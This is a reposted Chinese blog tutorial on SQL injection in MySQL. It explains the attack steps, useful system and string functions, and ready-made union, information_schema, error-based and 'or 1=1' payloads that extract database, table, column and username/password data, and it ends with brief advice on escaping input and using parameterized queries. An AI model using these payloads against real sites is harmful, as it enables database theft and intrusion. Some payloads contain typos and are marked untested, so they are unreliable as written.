渗透测试---数据库安全: sql注入数据库原理详解

x33g5p2x  于2022-02-12 转载在 其他  
字(3.9k)|赞(0)|评价(0)|浏览(208)

1 介绍

SQL注入漏洞主要是由于,在请求的时候没有做严格的过滤,导致传入的语句被当做SQL语句被执行,从而导致数据库受损(被脱库、删除、甚至数据付权限沦陷)

更多攻防文章:有勇气的牛排 — 攻防
有勇气的牛排官网:https://lgch.xyz/

2 一般步骤

  1. SQL注入点探测
    判断什么地方存在SQL注入点,通常在表单文章查询等与数据库有关操作的页面。
  2. 收集后台数据库信息
    不同的数据库的注入方法、函数各不相同,因此注入前要判断数据库的类型。
    如:
    特殊字符、单引号:让数据库返回错误
    函数:
    version()函数:MSQL专用
  3. 猜测用户名和密码
    表名、字段名、字段数、用户名和密码。
  4. 查找 Web 后台管理入口
    可以使用 目录扫描工具
  5. 入侵and破坏
    登录后台:上传木马、篡改网页、窃取信息。
    进一步提权:入侵Web服务器和数据库服务器。

3 注入

测试数据

+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
| 9787115496003 | 虚拟化技术应用与实践                |
| 9787302510109 | 算法设计与分析(第4版)             |
| 9787503442490 | 心灵密码                          |
| 9787503421884 | 雪狼                             |
| 9787539635835 | 龙头老太                          |
+---------------+----------------------------------+

3 函数

3.1 常用的系统函数

函数作用
version()MySQL版本
user()数据库用户名
database()数据库名
@@datadir数据库路径
@@version_complie_os操作系统版本

3.2 字符串连接函数

三大法宝:concat(),group_concat(),concat_ws()

3.2.1 concat() 函数

特点:concat(str1,str2,...)
返回结果为连接参数产生的字符串,如果任何一个参数为NULL,则返回值为NULL,可以有一个或多个参数。

1. 不使用字符连接函数:

select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 从入门到精通(第2版)    |
+---------------+----------------------------------+

2.使用示例
一般我们都要用一个字符将各个项隔开,便于数据的查看

select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title)                         |
+------------------------------------------------+
| 9787302458210,SQL Server 从入门到精通(第2版)    |
+------------------------------------------------+
3.2.2 concat_ws() 函数

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。
特点:CONCAT_WS(separator,str1,str2,…)
使用示例

3.2.3 group_concat() 函数

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;

就不演示了,sql语句如同上面

4 注入

4.1 联合查询 union 注入

使用联合查询进行的前提是我们进行注入的页面必须有显示位。

1、使用union
payload:

v' union select username from member where id=1#%

select 必须有相同的列,且各列的数据也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。
联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

select bid,author from books union select username from users;

2、 payload:a' order by 4#%

select bid,author from books order by 4#%;

select bid,author from books order by 2#%;

3、得到主查询由三个字段后,我们用union来做一个sql拼接。
pauload

a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();

这里没有测试通过

4.2 information_schema 注入

information_schema数据库是MySQL5.0系统自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

select group_concat(schema_name) from information_schema.schemata;

实际注入测试

5.2.1 获取所有数据库

类型:id=/wd=/name=

-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

4.2.2 获取指定数据库的表

payload

a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

4.2.3 获取指定表的字段名

payload

a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books  union select table_name,column_name,3 from information_schema.columns where table_name='users';

4.2.4 获取字段值得内容

payload

a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

4.3 基于报错信息注入

此方法是在页面没有显示位,但是 echomysql_error() 函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error() 输出了错误信息时使用。常见的select/insert/update/delete 注入都可以使用报错方式来获取信息。

4.3.1 三个常用报错函数

updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor(): MYSQL中用来取整的函数.

4.4 数字注入

or 1=1

4.5 搜索注入

在搜索框搜索的时候,成为搜索型。
数字型与字符型注入最大区别:数字型不需要单引号闭合,而字符串类型需要单引号闭合。

%xxx% or 1=1 #%'

5 sql注入防御

  1. 对输入进行严格的转义和过滤
  2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

参考文章:
https://zhuanlan.zhihu.com/p/258032596
https://www.cnblogs.com/lcamry/p/5715634.html

相关文章